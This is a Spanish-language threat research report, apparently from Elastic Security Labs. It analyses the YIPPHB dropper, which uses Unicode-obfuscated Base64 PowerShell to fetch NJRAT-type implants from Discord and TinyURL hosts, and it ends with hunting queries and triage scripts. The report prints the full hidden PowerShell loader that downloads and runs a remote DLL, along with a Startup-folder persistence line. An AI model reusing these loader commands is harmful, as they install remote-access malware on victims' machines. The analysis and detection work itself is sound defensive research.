Pasar tiempo con el cuentagotas YIPPHB

Conclusiones clave

• Elastic Security Labs identificó 12 clústeres de actividad empleando un TTP similar de subprocesos de cadenas codificadas en Base64 con íconos Unicode para cargar el cuentagotas YIPPHB.
• YIPPHB es un gotero poco sofisticado, pero efectivo, que se emplea para gestionar implantes RAT desde al menos mayo de 2022.
• El acceso inicial intenta usar iconos Unicode incrustados en Powershell para retrasar el análisis automatizado.

Preámbulo

Al revisar los datos de telemetría, Elastic Security Labs identificó argumentos anormales durante la ejecución de Powershell. Un examen más detallado identificó el uso de iconos Unicode dentro de cadenas codificadas en Base64. Se empleó un mecanismo de sustitución para reemplazar los iconos con caracteres ASCII.

Una vez que los íconos fueron reemplazados por caracteres ASCII, se empleó un proceso repetitivo de recopilación de archivos codificados en Base64 y URL invertidas para ejecutar un cuentagotas y un implante de malware con todas las funciones. El dropper y el implante de malware se identificaron más tarde como YIPPHB y NJRAT, respectivamente.

Esta investigación se centró en lo siguiente:

• Fase de carga
• Fase cuentagotas
• Fase RAT
• Grupos de actividad
• Infraestructura de red
• Consultas de caza

Análisis

El análisis de este conjunto de intrusiones describe un método de ofuscación que creemos que está destinado a evadir el análisis automatizado de los comandos de PowerShell, y que caracterizamos como rudimentario y prescriptivo.

Fase de carga

Al analizar los comandos de Powershell en la telemetría de Elastic, observamos íconos Unicode incrustados en los comandos de Powershell. El uso de Unicode para ofuscar comandos de Powershell no es una técnica que observamos.

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $iUqm = 'JABSAG8AZABhAEMAbwBwAHkAIAA9ACAAJwATIK8ArwATIBMgrwATIBMgrwCvACcAOwBbAEIAeQB0AG⌚⌚⌚AWwBdAF0AIAAkAEQATABMACAAPQAgAFsAcwB5AHMAdABlAG0ALgBDAG8AbgB2AG⌚⌚⌚AcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQA⌚⌚⌚wB0AHIAaQBuAGcAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAG⌚⌚⌚AdAAuAFcAZQBiAEMAbABpAG⌚⌚⌚AbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQA⌚⌚⌚wB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwB0AGkAbgB5AH⌚⌚⌚AcgBsAC4AYwBvAG0ALwAyAG⌚⌚⌚AcgBwAGgANgBjAHMAJwApACkAOwBbAHMAeQBzAHQAZQBtAC4AQQBwAHAARABvAG0AYQBpAG4AXQA6ADoAQwB1AHIAcgBlAG4AdABEAG8AbQBhAGkAbgAuAEwAbwBhAGQAKAAkAEQATABMACkALgBHAG⌚⌚⌚AdAB⌚⌚⌚AHkAcABlACgAJwBOAHcAZwBvAHgATQAuAEsA⌚⌚⌚ABKAGEATgBqACcAKQAuAEcAZQB0AE0AZQB0AGgAbwBkACgAJwBQAF⌚⌚⌚AbABHAEsAQQAnACkALgBJAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACAAWwBvAGIAagBlAGMAdABbAF0AXQAgACgAJwB0AHgAdAAuADAAMAAwADgAdABjAG8AMAAxAC8AMQA3ADkAOAAxADIAOAAyADQAOQAzADgAMgA4ADgANAAzADAAMQAvADMAMgA1ADkANwAxADkAMgA0ADkAOQA2ADMANgA1ADYANQA5AC8AcwB0AG4AZQBtAGgAYwBhAHQAdABhAC8AbQBvAGMALgBwAHAAYQBkAHIAbwBjAHMAaQBkAC4AbgBkAGMALwAvADoAcwBwAHQAdABoACcAIAAsACAAJABSAG8AZABhAEMAbwBwAHkAIAAsACAAJwAQEMwGJwbMBicAIAApACkA';$OWjuxD = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $iUqm.replace('⌚⌚⌚','U') ) );$OWjuxD = $OWjuxD.replace('-¯¯--¯--¯¯', '[redacted].vbs');powershell.exe -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command $OWjuxD

Si bien esta técnica no es demasiado compleja en el sentido de que simplemente reemplaza los íconos con un carácter ASCII, es creativa. Esta técnica podría retrasar el análisis automatizado de cadenas codificadas en Base64 a menos que el comando de Powershell se ejecutara completamente o se aprovechara un flujo de trabajo de análisis para procesar funciones Unicode y de reemplazo.

Al observar el comando de Powershell, pudimos identificar un proceso simple para reemplazar los íconos de reloj Unicode (⌚⌚⌚) con una U. Para ilustrar lo que está sucediendo, podemos emplear la herramienta de análisis de datos creada por el GCHQ: CyberChef.

Al cargar las recetas "Buscar / Reemplazar", "Decodificar Base64" y "Decodificar texto (UTF-16LE)", podemos decodificar la cadena de Powershell.

Dentro de la cadena decodificada podemos ver cómo se instalan el cargador, el cuentagotas de seguimiento y el implante.

$RodaCopy = '-¯¯--¯--¯¯';[Byte[]] $DLL = [system.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('https://tinyurl[.]com/2erph6cs'));[system.AppDomain]::CurrentDomain.Load($DLL).GetType('NwgoxM.KPJaNj').GetMethod('PUlGKA').Invoke($null, [object[]] ('txt.0008tco01/1798128249382884301/325971924996365659/stnemhcatta/moc[.]ppadrocsid.ndc//:sptth' , $RodaCopy , 'တیای' ))

El cargador se descarga de https://tinyurl[.]com/2erph6cs. TinyURL es un popular servicio de acortamiento de URL y, si bien tiene usos muy legítimos, también se puede abusar de él para ocultar URL maliciosas que se mezclan con el tráfico normal de la red.

Para desplegar TinyURL, podemos usar el punto final de la API JSON desde Unshorten.me:

$ curl https://unshorten.me/json/tinyurl[.]com/2erph6cs
{
    "requested_url": "tinyurl[.]com/2erph6cs",
    "success": true,
    "resolved_url": "https://cdn.discordapp[.]com/attachments/1023796232872792096/1023798426636402818/dllsica.txt",
    "usage_count": 3,
    "remaining_calls": 8
}

La descarga de dllsica.txt de la red de entrega de contenido de Discord nos proporcionó otra cadena codificada en Base64. A diferencia de la cadena de Powershell anterior, la cadena de dllsica.txt se puede descodificar fácilmente sin sustituciones.

Usando las herramientas de línea de comandos cat , base64 , xxd y head , podemos ver que esto tiene un valor hexadecimal de 4d5a y un número mágico MZ en el encabezado del archivo. Esto confirma que estamos analizando un archivo PE.

• cat - catena un archivo
• base64 -D : el modificador -D decodifica un archivo codificado en base64
• xxd - crea un volcado hexadecimal de una entrada
• head : devuelve las primeras 10 líneas de un archivo

$ cat dllsica.txt | base64 -D | xxd | head

00000000: 4d5a 9000 0300 0000 0400 0000 ffff 0000  MZ..............
00000010: b800 0000 0000 0000 4000 0000 0000 0000  ........@.......
00000020: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000030: 0000 0000 0000 0000 0000 0000 8000 0000  ................
00000040: 0e1f ba0e 00b4 09cd 21b8 014c cd21 5468  ........!..L.!Th
00000050: 6973 2070 726f 6772 616d 2063 616e 6e6f  is program canno
...truncated...

A continuación, desofuscamos el binario, lo escribimos en el disco y luego generamos un hash SHA-256.

• Archivo : verifique el tipo de archivo
• shasum -a 256 : el modificador de 256 -a emplea el algoritmo hash de 256 bits

$ cat dllsica.txt | base64 -D > dllsica.bin

$ file dllsica.bin
dllsica.bin: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows

$ shasum -a 256 dllsica.bin
49562fda46cfa05b2a6e2cb06a5d25711c9a435b578a7ec375f928aae9c08ff2

Ahora que se recopiló el cargador, ejecuta el método PUlGKA dentro de la clase NwgoxM.KPJaN. De la cadena decodificada Base64 original

…truncated…
GetType('NwgoxM.KPJaNj').GetMethod('PUlGKA').Invoke($null, [object[]]
...truncated…:

Es posible que publiquemos investigaciones futuras sobre este cargador, que mantiene el acceso copiar a sí mismo en la carpeta de inicio del usuario como un VBscript compatible de forma nativa.

FileSystem.FileCopy(RodaCopy, Environment.GetFolderPath(Environment.SpecialFolder.Startup) + "\\" + NameCopy + ".vbs");

Fase cuentagotas

En la imagen de ejecución del cargador anterior, podemos ver que el cargador usa una variable invertida (text = bdw6ufv4/moc[.]lruynit//:sptth) para descargar un archivo adicional usando una TinyURL. Usando la herramienta de línea de comandos, rev , podemos corregir la URL invertida.

$ echo "bdw6ufv4/moc.lruynit//:sptth" | rev

https://tinyurl[.]com/4vfu6wd

Podemos desplegar TinyURL usando el punto final de la API JSON de Unshorten.me para identificar la ubicación de descarga del cuentagotas.

$ curl https://unshorten.me/json/tinyurl[.]com/4vfu6wd
{
    "requested_url": "tinyurl[.]com/4vfu6wd",
    "success": true,
    "resolved_url": "https://cdn.discordapp[.]com/attachments/1023796232872792096/1023796278213234758/pesica.txt",
    "usage_count": 2,
    "remaining_calls": 9
}

Otro archivo codificado se descarga de Discord: pesica.txt. Al momento de escribir este artículo, VirusTotal informa cero detecciones de este archivo.

Con pistas de dllsica.bin , podemos ver que pesica.txt usa codificación UTF-8. Para analizar más a fondo nuestro archivo, necesitamos reemplazar los valores ▒▒▒▒ con una A , y Base64 decodifica las cadenas resultantes.

…truncated…
string text = "bdw6ufv4/moc[.]lruynit//:sptth";
string text2 = new WebClient
{
	Encoding = Encoding.UTF8
}.DownloadString(Strings.StrReverse(text));
text2 = Strings.StrReverse(text2);
text2 = text2.Replace("▒▒▒▒", "A");
string text3 = new WebClient().DownloadString(Strings.StrReverse(_5));
text3 = Strings.StrReverse(text3);
…truncated…
	{
	text4 + "\\InstallUtil.exe",
	Convert.FromBase64String(text3)
	});
…truncated…

Podemos apilar recetas para realizar estas funciones con CyberChef.

Una vez que hemos decodificado pesica.txt , calculamos el hash bba5f2b1c90cc8af0318502bdc8d128019faa94161b8c6ac4e424efe1165c2cf. La salida decodificada de pesica.txt muestra el nombre del módulo YippHB .

...truncated...
ToInt16
<Module>
YippHB
ResumeThread_API
...truncated...

Este nombre de módulo es de donde se deriva el nombre del cuentagotas de YIPPHB. YIPPHB fue descubierto originalmente por el investigador de seguridad Paul Melson. Paul reveló públicamente este cuentagotas en octubre de 2022 en la conferencia de seguridad Augusta BSides.

El cuentagotas YIPPHB se ejecuta mediante la utilidad de línea de comandos Installutil.exe para iniciar la fase RAT.

Nos referimos a la siguiente fase como la fase RAT. Todos los binarios que pudimos recopilar en esta fase fueron implantes RAT (NJRAT, LIMERAT y ASYNCRAT); Sin embargo, la naturaleza modular de este conjunto de intrusión permitiría emplear cualquier tipo de implante.

Fase RAT

Ahora que se ejecutó el cuentagotas YIPPHB, recoge la segunda parte del script de iconos Unicode original para instalar el implante RAT.

…truncated…
('txt.0008tco01/1798128249382884301/325971924996365659/stnemhcatta/moc.ppadrocsid.ndc//:sptth' , $RodaCopy , 'တیای' ))

El RAT se recuperó de https://cdn.discordapp[.]com/attachments/956563699429179523/1034882839428218971/10oct8000.txt, que se invierte de txt.0008tco01/1798128249382884301/325971924996365659/stnemhcatta/moc[.]ppadrocsid.ndc//:sptth.

Mirando el archivo 10oct8000.txt archivo, podemos ver que es un archivo invertido codificado en Base64.

=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA…truncated…

Podemos corregir este archivo y decodificarlo en Base64 usando las herramientas de línea de comandos rev y base64 y almacenar la salida como 10oct8000.bin.

$ cat 10oct8000.txt | rev | base64 -D > 10oct8000.bin

10oct8000.bin tiene un hash SHA256 de 1c1910375d48576ea39dbd70d6efd0dba29a0ddc9eb052cadd583071c9ca7ab3. Este archivo se informa en VirusTotal como una variante de las familias de malware LIMERAT o NJRAT (según la fuente).

Al igual que el cargador y el cuentagotas YIPPHB, veremos algunas capacidades básicas del RAT, pero no lo revertiremos por completo. La investigación de estas capacidades nos llevó a investigaciones previas que asocian esta muestra con NJRAT o LIMERAT (1, 2).

La RAT inicia su rutina de ejecución conectar de nuevo al servidor de comando y control. En un hilo separado, también inicia una rutina de keylogger para recopilar la mayor cantidad de información posible.

Para la conexión al servidor de comando y control, la RAT emplea la información de configuración que aparece como variables globales. La variable victimName ( TllBTiBDQVQ= ) es una cadena codificada en Base64 que se decodifica en "NYAN CAT". Basado en la similitud del código con una base de código NJRAT conocida, esta información de configuración C2 se suma a nuestra convicción de que esto está relacionado con NJRAT.

Si la RAT está conectada a un servidor de comando y control que está escuchando comandos, envía la siguiente información adicional:

• Nombre de la víctima ( vn )
• Hardware ID
• Nombre de usuario
• OSFullName
• Paquete de servicio OSVersion
• si la carpeta Archivos de programa termina en X86 o no
• Si hay una cámara sitio web
• el nombre de la ventana
• una comprobación de licencias en el registro

Si se conecta con éxito a un servidor C2, el operador puede interactuar con el implante a través de un serial de comandos. Los investigadores de seguridad Hido Cohen y CyberMasterV brindan una explicación detallada de estos comandos y la funcionalidad general de la RAT, aquí y aquí

Grupos de actividad

Pudimos realizar búsquedas adicionales a través de nuestros datos de telemetría para identificar varios grupos de actividad. A continuación, proporcionamos una consulta de EQL:

intrusion_detection where (process.pe.original_file_name == "PowerShell.EXE" and process.command_line like "*Unicode.GetString*" and process.args like "*replace*")

Esta consulta nos permitió identificar la actividad de Powershell que usa caracteres Unicode y la función de reemplazo .

Al observar estos resultados, pudimos agrupar la actividad por el nombre de la variable en combinación con el icono Unicode. En el ejemplo que dio origen a esta investigación inicial, un clúster sería la variable iUqm y los ⌚⌚⌚iconos Unicode.

Cabe destacar que el clúster 11 emplea las mismas técnicas que los otros clústeres, pero en lugar de un icono Unicode para la sustitución, empleó un serial de caracteres ASCII ( _*/}+/_= ). La intrusión funcionó de la misma manera y no tenemos claro por qué este clúster se desvió del uso de un icono Unicode.

Recopilación y análisis de datos de red

Para escalar el análisis de este conjunto de intrusiones, queríamos automatizar la extracción de las URL codificadas del cargador y del cuentagotas del process.command_line y el C2 de seguimiento empleado por los implantes RAT.

Cargador y cuentagotas

Como se señaló en las fases de cargador y cuentagotas, la cadena codificada en Base64 necesita la sustitución de los iconos Unicode y debe invertir y descodificar. Luego de ese proceso, la primera URL está disponible, mientras que la segunda URL requiere revertir una vez más.

Para evitar la ejecución del comando de Powershell en sí, podemos aprovechar la herramienta de procesamiento de texto awk. Lo que sigue es un desglose de cómo hacer el análisis y proporcionaremos un script de shell con todo como referencia.

Para comenzar, necesitaremos obtener acceso a nuestros datos en la línea de comandos donde podemos canalizarlos a awk. Hemos publicado una herramienta llamada eql-query (y otra llamada lucene-query ) para hacer precisamente eso.

Usando eql-query , podemos ejecutar una consulta EQL para recuperar los últimos 180 días de resultados, recuperando solo los process.command_line campo. El valor de hacer esto desde la línea de comandos es que nos permite analizar aún más los datos y extraer cadenas adicionales de interés.

eql-query --since 'now-180d/d' --size=1000 --compact --fields 'process.command_line' 'intrusion_detection where (process.pe.original_file_name == "PowerShell.EXE" and process.command_line like "*Unicode.GetString*" and process.args like "*replace*")'

A continuación, use jq para pasar la cadena sin procesar a awk usando jq '._source.process.command_line' -r | awk.

Si está haciendo esto de forma iterativa, es mejor escribir los resultados de eql-query en un archivo y luego operar con los resultados localmente hasta que tenga su canalización como le gustaría.

El siguiente paso es capturar las cadenas usadas en los comandos de reemplazo de Powershell para que podamos realizar esa función nosotros mismos. La mejor manera de hacer esto usando awk es capturarlos con una expresión regular.

Esto coincide con el primer y segundo argumento a reemplazar. El primer argumento es Unicode y posiblemente no sea amigable como un patrón awk , por lo que primero tendremos que escapar de él. Una vez que realizamos el reemplazo, imprimiremos el código "limpio", la cadena a buscar y el texto de reemplazo.

function escape_string( str ) {
    gsub(/[\\.^$(){}\[\]|*+?]/, "\\\\&", str)
    return str
}
{
    match($0, /replace\('\''(.*)'\'' *, *'\''(.*)'\''/, arr);
    str=escape_string(arr[1]);
    rep=arr[2];
    print gensub(str, rep, "g")
}

Finalmente , podemos sacar el código Base64 (usando otra expresión regular) y revelar el script de Powershell ofuscado.

grep -oP ''\''\K[A-Za-z0-9+/]+={0,2}(?='\'';)'

Esto automatiza el proceso de conversión manual que describimos en las fases de cargador, cuentagotas y RAT anteriores.

$RodaCopy = '-¯¯--¯--¯¯';[Byte[]] $DLL = [system.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('https://tinyurl[.]com/2erph6cs'));[system.AppDomain]::CurrentDomain.Load($DLL).GetType('NwgoxM.KPJaNj').GetMethod('PUlGKA').Invoke($null, [object[]] ('txt.0008tco01/1798128249382884301/325971924996365659/stnemhcatta/moc[.]ppadrocsid.ndc//:sptth' , $RodaCopy , 'တیای' ))

Analizar las URL de este texto debería ser otra coincidencia awk simple, seguida de voltear la segunda URL, sin embargo, la codificación predeterminada de Powershell es UTF-16LE y awk solo admite codificación UTF-8 o ASCII. Una herramienta llamada iconv puede realizar la conversión necesaria.

echo "${line}" | base64 -d | iconv -f UTF-16 -t UTF-8 | awk '{ if ( match($0, /'\''([^'\'']+\/\/:s?ptth)'\''/, arr)) { n=split(arr[1],arr2,""); for(i=1;i<=n;i++){s=arr2[i] s}; print s}; if ( match($0, /'\''(https?:\/\/[^'\'']+)'\''/, arr)){ print arr[1] } }'

Una vez convertido, el resto es un análisis sencillo. Nuestra salida contendrá url1 , url2 y una copia de las cadenas Unicode y sus reemplazos. Las direcciones URL son las direcciones URL directas e inversas de cada ejemplo de código, respectivamente.

Para obtener más detalles o para probarlo con sus propios datos, consulte el script de shell que lo combina todo.

Ahora que automatizamos la recopilación y el análisis de las URL para el cargador y el cuentagotas, podemos pasar a la infraestructura RAT.

RATA

Como es evidente en el script original de Powershell, sabemos que el RAT usa una infraestructura de red adicional. Para enumerar esto, necesitamos bajar la RAT como lo haría el dropper, tomar un conjunto único de URL para cada salida url1 y url2 en el paso anterior, recorrer cada lista y usar curl para descargarlas.

Este proceso requiere interactuar con la infraestructura controlada o propiedad del adversario. Interactuar con la infraestructura adversaria requiere una preparación disciplinada que no todas las organizaciones están preparadas para seguir. Si aún no tiene un conocimiento estable de las consideraciones legales, los puntos de salida de la red defensiva, las cajas de arena, una estrategia de ganancia / pérdida de inteligencia, etc., lo siguiente se presenta de manera informativa.

Como el cargador nunca almacena los archivos descargados en el disco y no siempre hay nombres de archivo, para realizar un seguimiento de las muestras, usaremos un contador simple. Esto nos da este bucle simple:

ctr=1
for line in $(cat ../url-1.txt); do
    curl -v -A "${USER_AGENT}" -o "file-${ctr}" -L --connect-timeout 10 "${line}" 2>>"log-${ctr}.txt"
    ctr=$((ctr + 1))
done

Usamos -v para capturar los encabezados de solicitud y respuesta, -L para seguir los redireccionamientos y --connect-timeout para acelerar el proceso cuando la infraestructura está inactiva. Por último, almacene la salida curl en un archivo de registro mientras los archivos descargados se almacenan como file-X , donde X es el valor del contador.

Todos los archivos RAT descargados están codificados en Base64. Podemos identificar archivos válidos codificados en Base64 usando el comando file . Un archivo codificado en Base64 se identificará como "texto ASCII, con líneas muy largas (longitud), sin terminadores de línea" donde la longitud es el tamaño del archivo. Para los archivos que coincidan con este idioma, los decodificaremos y los almacenaremos con un .dll extensión.

for entry in $(file file-?? | awk -F": " '$2 ~ /^ASCII text.*very long lines/  {print $1}'); do
    rev  <"${entry}" | base64 -d >"${entry}.dll"
done

Ahora que tenemos los binarios RAT, podemos hacer un análisis estático típico en ellos. Si tiene la herramienta de línea de comandos VirusTotal y puede realizar consultas API, la búsqueda de archivos conocidos es otro bucle simple sobre todos los archivos dll almacenados.

for entry in *.dll; do
	hash=$(sha256sum "${entry}" | awk '{print $1}')
	vt search "${hash}" >"${entry}.vt.yml"
done

Mirando la salida, podemos ver que cualquier archivo yml (la salida del comando vt ) con 0 bytes significa que no hay coincidencia. Estos archivos son desconocidos para VirusTotal. En este resultado, podemos ver que file-30.dll , file-31.dll y file-34.dll son desconocidos para VirusTotal.

$ ls -s *.dll{,.vt.yml}

 32 file-28.dll
 32 file-28.dll.vt.yml
 32 file-30.dll
  0 file-30.dll.vt.yml
 32 file-31.dll
  0 file-31.dll.vt.yml
468 file-34.dll
  0 file-34.dll.vt.yml
 48 file-35.dll
 40 file-35.dll.vt.yml
 80 file-38.dll
 36 file-38.dll.vt.yml

El análisis final que vamos a realizar es intentar volcar cualquier nombre de dominio de las DLL. Para muchos formatos de archivo ejecutables, el comando strings puede proporcionar esa información. Desafortunadamente, la mayoría de estos archivos DLL son ensamblados .Net y el comando strings no funcionará para extraer cadenas de ensamblados .Net. El comando file puede ayudarnos nuevamente a identificarlos como en este ejemplo:

$ file file-31.dll
file-31.dll: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

El beneficio de .Net es que se desmonta fácilmente y el proyecto Mono proporciona una herramienta solo para ese propósito, ikdasm. Esto nos da nuestro bucle final para buscar nombres de dominio o referencias a URL HTTP.

for item in *.dll; do
    ikdasm "${item}" | grep -E '(\.(org|com|net|ly))|((yl|ten|moc|gro)\.)|("http|ptth")';
Done

Para obtener más detalles, puede consultar este script de shell que reúne esta segunda etapa de análisis.

Modelo Diamante

Elastic Security utilizes the Diamond Model to describe high-level relationships between adversaries and victims of intrusions.

Tácticas y técnicas del adversario observadas

Elastic usa el framework MITRE ATT&CK para documentar tácticas, técnicas y procedimientos comunes que las amenazas persistentes avanzadas emplean contra las redes empresariales.

Táctica

La táctica representa el porqué de una técnica o subtécnica. Es el objetivo táctico del adversario: la razón para realizar una acción.

• Desarrollo de recursos
• Ejecución
• Persistencia
• Evasión de defensa
• Descubrimiento
• Comando y control

Técnicas / Sub técnicas

Las técnicas y subtécnicas representan cómo un adversario logra un objetivo táctico mediante la realización de una acción.

• Adquirir infraestructura
• Capacidades de etapa: Cargar malware
• Ejecución de inicio automático de arranque o inicio de sesión: claves de ejecución del Registro / carpeta de inicio
• Intérprete de comandos y scripts: Visual Basic
• Intérprete de comandos y scripting: PowerShell
• Ejecución de proxy binario del sistema: InstallUtil
• Información o archivos ofuscados

Lógica de detección

Reglas de comportamiento

• Conexión a un servicio sitio web mediante un proxy binario firmado
• Suspicious PowerShell Execution
• Ejecución de procesos con extensión de archivo inusual
• Archivo de script escrito en la carpeta de inicio
• Suspicious PowerShell Execution via Windows Scripts (Ejecución sospechosa de PowerShell a través de scripts de Windows)
• Conexión al proveedor de DNS dinámico mediante un binario sin firmar

Consultas de caza

La identificación de Unicode en Powershell se puede lograr con una consulta KQL o EQL.

Los eventos para KQL y EQL se proporcionan con Elastic Agent mediante la integración de Elastic Defend.

KQL query

Con la app Discover en Kibana, la siguiente consulta identificará el uso de Powershell con cadenas Unicode. Si bien esto identificó todos los eventos en esta investigación, también identificó otros eventos que no formaban parte del conjunto de intrusión REF4526.

Los comodines anteriores y anteriores ( * ) pueden ser una búsqueda costosa en un gran número de eventos.

process.pe.original_file_name : "PowerShell.EXE" and process.command_line : (*Unicode.GetString* and *replace*)

Consulta de EQL

Con la sección Timeline de la solución de seguridad en Kibana en la pestaña "Correlación", esta consulta identificará el uso de Powershell con cadenas Unicode y la función de reemplazo . Esto identificó todos los eventos REF4526 observados.

intrusion_detection where (process.pe.original_file_name == "PowerShell.EXE" and process.command_line like "*Unicode.GetString*" and process.args like "*replace*")

Referencias

A lo largo de la investigación anterior se hizo referencia a lo siguiente:

• https://github.com/pmelson/bsidesaugusta_2022/blob/main/unk.yara
• https://malpedia.caad.fkie.fraunhofer.de/details/win.limerat
• https://malpedia.caad.fkie.fraunhofer.de/details/win.njrat
• https://neonprimetime.blogspot.com/2018/10/njrat-lime-ilspy-decompiled-code-from.html
• https://cybergeeks.tech/just-another-analysis-of-the-njrat-malware-a-step-by-step-approach/
• https://github.com/nyan-x-cat/njrat-0.7d-stub-csharp/blob/master/njrat%20C%23%20Stub/Program.cs
• https://hidocohen.medium.com/njrat-malware-analysis-198188d6339a
• https://cybergeeks.tech/just-another-analysis-of-the-njrat-malware-a-step-by-step-approach/

Observables

Todos los observables también están disponibles para su descarga en formato ECS y STIX en un paquete zip combinado.

En esta investigación se discutieron los siguientes observables.